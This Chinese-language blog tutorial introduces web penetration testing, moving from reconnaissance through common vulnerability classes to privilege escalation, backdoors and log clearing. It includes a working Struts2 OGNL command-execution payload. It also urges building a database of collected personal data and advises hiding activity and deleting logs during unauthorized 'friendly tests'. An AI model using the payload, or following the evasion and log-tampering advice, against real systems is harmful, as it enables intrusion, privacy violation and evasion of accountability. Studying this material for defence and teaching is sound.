Web安全 — 入门

摘要

社会工程学(Social Engineering,又被翻译为:社交工程学)在上世纪60年代左右作为正式的学科出现,广义社会工程学的定义是:建立理论并通过利用自然的、社会的和制度上的途径来逐步地解决各种复杂的社会问题,经过多年的应用发展,社会工程学逐渐产生出了分支学科,如公安社会工程学(简称公安社工学)和网络社会工程学。

社工技术

社会工程学(Social Engineering,又被翻译为:社交工程学)在上世纪60年代左右作为正式的学科出现,广义社会工程学的定义是:建立理论并通过利用自然的、社会的和制度上的途径来逐步地解决各种复杂的社会问题,经过多年的应用发展,社会工程学逐渐产生出了分支学科,如公安社会工程学(简称公安社工学)和网络社会工程学。

简单来说社会工程学就是对目标的信息搜集,当然不仅仅是搜集目标主动泄漏的信息,还要利用各种方式去获取目标的相关系统。

在渗透测试的过程中,社工技术会对整个渗透测试的方案和最终结果产生巨大的影响。

主要获取的信息(渗透测试中)包括:服务器信息,网站所有者信息,域名信息等。

  • 利用工具(请参考红日第一课)

    例:对红日实验室的简单社工

    Web安全 — 入门

    现在的网络环境对安全越来越重视,无疑加大了信息搜集的难度,在以后的学习道路上我们要收集搭建属于自己的社工库,比如说

    Web安全 — 入门

    在日后的课程中,我也会带着大家搭建这样的社工库并提供部分数据

    Web安全 — 入门 Web安全 — 入门 Web安全 — 入门

    这样的一个社工库,里面加入我们收集到的数据,并逐渐扩大我们的数据库内容,这样在以后的工作中会对你提供很大的帮助。

    漏洞挖掘

经过信息的获取,我们可以定位到我们的目标信息,同时,可以把我渗透方法的范围缩小,可以开展针对性的测试了。

服务器方面

针对不同的服务器,我们会进行不同的测试,比如目标是一个linux的系统,我们基本就不会去看asp方面的漏洞了,只会对它有可能存在的漏洞进行测试,而服务器方面,我们也会发现不同的版本漏洞。在他的中间件等等。

  • 实验方法:不同版本的服务器或其他终端+相对应溢出工具

    溢出漏洞

  • 漏洞原理:缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
    主要的原理是:通过在程序的地址空间里安排适当的代码。或适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。可以根据这两个目标来对缓冲区溢出攻击进行分类。
  • 漏洞靶场:虚拟搭建的各类型服务器+提权工具
  • 漏洞实战演练:在真实环境下获取webshell后实战操作
    Web安全 — 入门
  • 个人总结:溢出漏洞可以直接获取服务器的最高权限,危害巨大,但利用环境要求较高,不易利用成功。

    应用方面

应用方面我们要讲的就会多一些了,虽然网站类型多变,各种语言层出不穷,但主要的漏洞就是那么几个。可以参考 owasp top 10 ,我优先为大家介绍一下危害比较大的漏洞类型。

跨站脚本漏洞

  • 漏洞原理:
    • (1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
    • (2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
    • (3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
  • 漏洞靶场:
    Web安全 — 入门 当我们访问这个页面时,我们的PC就在攻击者的beef中上线了
    Web安全 — 入门 通过 beef,我们可以对上线的浏览器进行很多的后门操作比如最基本的弹窗:
    Web安全 — 入门
  • 漏洞实战演练: http://www.alliedjeep.com/87508.htm couponPHP CMS 1.0 跨站脚本漏洞
    couponPHP 是优惠劵和交易网站的内容管理系统。
    couponPHP CMS 1.0 版本没有正确过滤 /admin/ajax/comments_paginate.php/admin/ajax/stores_paginate.php 的 “sEcho” GET 参数值,在实现上存在多个跨站脚本漏洞,可导致在用户浏览器会话中执行任意HTML和脚本代码。
  • 个人总结:以存储型跨站为例,我们在用户的页面输入的语句会存入到系统的数据库中,这样,当其他用户访问我们存入的信息时就造成了存储型跨站的攻击,图片为我定入的存储型跨站的利用是js。

    Sql注入漏洞

  • 漏洞原理:SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
  • 漏洞靶场:在我们的靶场中我们会了解查询到底是怎么一回事,数据是怎么样传入的
    Web安全 — 入门 上面两个图片,是数据以 getpost 方式发送的代码内容,我们的参数就是以这种形式发送的。而后台接收后的样子类似是这样的
    Select * from (xxx数据表) where what=(‘id’) id 为你输入的参数,而 sql 注入就是在这个语句后面加入攻击者自己构造的语句,使数据库查询出我们想要的数据并给前台一定的提示。
    并会在我们的靶场中进行攻击学习.
    Web安全 — 入门 漏洞实战演练: http://www.cnblogs.com/moqiang02/p/4061399.html
    Web安全 — 入门
  • 个人总结:sql注入仍然是被利用最多的漏洞,他的危害程度和利用范围也是其他漏洞不可以比的,而且逐渐开始工具化,手工注入越来越少,虽然难度大的注入漏洞几乎只能用手工去做,但一点也不影响工具的推广和利用,比较常用的攻击工具sqlmap,可以实现大量的绕过和注入方法。当然,因为他的功能越来越强大,使用的方法也越来越复杂,有的注入点,有可能同样是用sqlmap,小白就注入不进去,可是有的老手就可以通过对语句和参数的修改注入成功。
    当然有很多的注入点也需要自己手工去写一些脚本去进行测试,因为盲注这一形式的存在,给手工注入带来了巨大的麻烦,图片为我自己编写的盲注的小脚本,可以利用注入去暴力猜出用户的密码。
    Web安全 — 入门
  • POC框架
    • 基于原生POC编写练习
    • 基于框架POC编写练习

      越权漏洞

  • 漏洞原理:是指超越权限或权力范围的意思。越权漏洞是Web应用程序中一种常见的安全漏洞。它的威胁在于一个账户即可控制全站用户数据。当然这些数据仅限于存在漏洞功能对应的数据。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定。所以测试越权就是和开发人员拼细心的过程。
  • 漏洞靶场:针对网站的权限绕过,后期会带大家搭建相对环境学习
    Web安全 — 入门
  • 漏洞实战演练: https://loudong.sjtu.edu.cn/show/CNVD-2017-04015 齐博 CMS 整站系统 V7.0 存在越权访问漏洞
    个人总结:对于越权漏洞的主要挖掘方法:
      1. 测试越权一般得有俩号。
      1. 对userid。orderid等等ID要敏感,一旦发现,就多测测。
      1. 某些厂商喜欢用纯数字的MD5作为用户的cookie,多注意发现。
      1. 多使用抓包工具,多分析数据包,多修改数据包。
      1. 多站在开发的角度去分析网站哪儿存在越权。
      1. 多看看别人的漏洞

        越权漏洞属于逻辑漏洞,这样的漏洞,不是代码的硬性错误,网站可以说他没有sql注入漏洞,但他不可以说他没有逻辑漏洞,只是每个人的思考方向不同,测试方法和角度也不一样,发现的逻辑漏洞也就不会相同。

        目录漏洞

  • 漏洞原理:该漏洞旨在访问储存在Web根文件外的文件或者目录。主要分为以下两种
    目录列表漏洞:用户访问网站目录地址时,能看到目录下所有文件列表,导致网站目录结构暴露,重要的敏感数据泄露。目录遍历漏洞:程序没有充分过滤用户输入的../之类的目录跳转符,导致用户可以通过提交目录跳转来遍历服务器上的任意文件。使用多个..符号,不断向上跳转,最终停留在根/,通过绝对路径去读取任意文件。
  • 漏洞靶场:简单的网站框架就可以实现相应漏洞,在我们的靶场中会集成本漏洞
  • 漏洞实战演练: http://sec.sangfor.com.cn/vulns/236.html Pligg CMS 2.0.2 目录遍历漏洞
    Web安全 — 入门
  • 个人总结:其实在目录漏洞需要配合其他的漏洞进行组合攻击,单独目录漏洞的危害性并不大,但他的可利用程度确很高,当存在其他的漏洞时,这个漏洞就可以帮助我们获取到更多的权限。

    文件包含漏洞

  • 漏洞原理:程序开发人员通常会把要重复使用的函数写到单个文件中,在使用某个函数时直接在文件里面调用此函数无需再次编写。
    • 文件包含有两种:

      本地文件包含配合本地的文件遍历漏洞,可以执行任意文件代码

  • 远程文件包含 :即加载远程文件,在php.ini中开启allow_url_include、allow_url_fopen选项。开启后可以直接执行任意代码。配合本地的文件遍历漏洞,可以执行任意文件代码
  • 漏洞靶场:靶场为jsp语言,会带领大家搭建相对应的文件包含环境,但不存在靶场中
  • 漏洞实战演练: http://www.xuebuyuan.com/1062689.html Phpcms 2007 远程文件包含漏洞
  • 个人总结:执行任意代码,包含恶意文件控制网站甚至控制服务器,这个漏洞的危害是巨大的,但他主要存在于PHP的环境中。对环境的依赖程度也相对要高,确相对好整改,只要限制好目录的权限,这个漏洞可以造成的影响并不大。

    命令执行漏洞

  • 漏洞原理:用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。
  • 漏洞靶场:
    Web安全 — 入门
  • 漏洞实战演练:网上随处可见的 struts2 网站,只要是没有升级或打上补丁的,都会存在问题
  • 个人总结:最常见的命令执行漏洞就是 struts2 漏洞了,当然,还有 weblogic 等等,今天主要给大家分享 struts2 的相关知识
    Struts2 是一个基于 MVC 设计模式的 Web 应用框架,它本质上相当于一个servlet,在MVC设计模式中, Struts2 作为控制器 (Controller) 来建立模型与视图的数据交互。 Struts 2Struts 的下一代产品,是在 struts 1WebWork 的技术基础上进行了合并的全新的 Struts 2 框架。其全新的 Struts 2 的体系结构与 Struts 1 的体系结构差别巨大。 Struts 2WebWork 为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与 ServletAPI 完全脱离开,所以 Struts 2 可以理解为 WebWork 的更新产品。虽然从 Struts 1Struts 2 有着太大的变化,但是相对于 WebWork,Struts 2 的变化很小。
    对应POC:
    ["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"
    简单的利用方法

    弱口令漏洞

  • 漏洞原理:就是说由常用数字、字母、字符等组合成的,容易被别人通过简单及平常的思维方式就能猜到的密码,利用弱口令结合计算机系统等漏洞可以做到入侵的事半功倍的效果
    主要的探测方法为测试验证码的功能,如果目标站的验证机制不完善,或存在逻辑漏洞,则可以利用该漏洞进行暴力破解攻击,结合社工的结果进行测试,如果用户存在弱口令漏洞,就会被攻击方加以利用,伪装成普通用户的权限进行登录,扩大攻击者的权限范畴,增加网站的风限程度
  • 漏洞靶场:靶场的登录处就是这个漏洞
    漏洞实战演练:本漏洞主要成因是人为的,需要手工去寻找。
  • 个人总结:只要做好社工,基本上网站全是弱口令,这是某个大神说的。我觉的非常的有道理。希望大家各级去尝试。

文件上传漏洞

  • 漏洞原理:在于代码作者没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。
  • 漏洞靶场:
    Web安全 — 入门 Web安全 — 入门
  • 漏洞实战演练: https://www.lvtao.net/shell/phpcms-upload-webshell.html phpcms 前台头像上传漏洞导致 webshell 详解及案例
  • 个人总结:这个漏洞被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,现在的入侵中上传漏洞也是常见的漏洞。
    主要是上传木马文件及反弹工具等,在网络上现在也存在这各种防护方法,具体的绕过我们就不讲了,主要分享一下,上传的东西,与方法。
    上传 webshell ,按语言主要分为三种 php,asp,jsp 其他衍生的类型不计其数,但核心仍是这三种,主要目的就是通过 webshell ,对网站进行控制。

    漏洞利用

  • 目的:我们整个攻击行为的目的,比如获取flag,目标服务器权限等等,根据我们不同的目的,我们要做出不同的针对性的攻击,可以大大节省我的时间和资源。
    隐藏:在攻击的过程中,我们要学会隐藏自己,把我们的攻击行为隐藏起来,这样我们就可以保证我们在攻击的过程中不会被发现,导致我们的攻击过程被强行中断,减少不必要的工作量。
  • 特定场景的针对测试:每一个目标的环境就行人一样,都是维一的,没有一模一样的环境,所以我们要针对不同的环境去做不同的攻击,减少没必要的行为。

    权限提升

当我们拿到webshell后,我们要做的就是权限提升了,我们真正开接触到我们的目标了现在。

  • 内部信息收集:
    • 根据我们的目标,我们要开始收拾信息,网站的基本信息,管理者的行为信息,目标的内部环境等,我们有了一个跳板就要把我们可以拿到的点都拿到手中,这样才可以保证我们的目的达成。
  • 系统漏洞利用:
    • 我们的主要方法是溢出漏洞,当然也存在其他的提权方法,但在这节课中不涉及那些高级的应用了。在溢出漏洞中,我们首先要通过我们收集到的信息来确定我们可以利用的漏洞有可能有那些,如果运气好,我们的漏洞有可以利用的那直接利用已有的角本,我们可以直接拿到服务器的权限了,如果不能,那就要去一点点的测试,看看这个系统上安装了什么软件,然后去寻找一个可以让我们利用的溢出点,能过编写这个脚本来进行提权。比较常见的提权脚本有:

      Web安全 — 入门

      当然,还有很多很多,我就不一一展示了,还有一部分要涉及到密码的寻找,如果,我们没有办法溢出,那我们就要想办法找到高级管理员的密码,来登录到高权限的帐户上去

      Web安全 — 入门

      后门

网页后门

网页后门其实就是一段网页代码,主要以ASP和PHP代码为主。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务器端进行某些危险的操作,获得某些敏感的技术信息或者通过渗透,提权获得服务器的控制权。并且这也是攻击者控制服务器的一条通道,比一般的入侵更具有隐蔽性。

网页挂马

网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候,这段代码被执行,然后下载并运行某木马的服务器端程序,进而控制浏览者的主机。

这是主要的两种后门情况,一个好的后门要保证自身不被发现,不被安全软件识别并杀死,可以进行实时的更新。

日志清扫

完成一次完整形的渗透测试,最后一步,是对日志的处理,当我们有客户授权的情况下,这一步并不重要,但当你是自己做一些友情测试里,这一步就是最重要的一步,你要通过对日志的处理来更好的保护自己,删除敏感日志,或修改日志内容,并备份真实日志。

经验总结

整个测试结束,我们要对我们的思路和过程做一个完整的总结,保证下次我们遇到类似的环境时,可以直接利用我们已经有的东西,并在自身的团队中交流经验,总结这次工作中的不足,这是进步最好的方法。

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: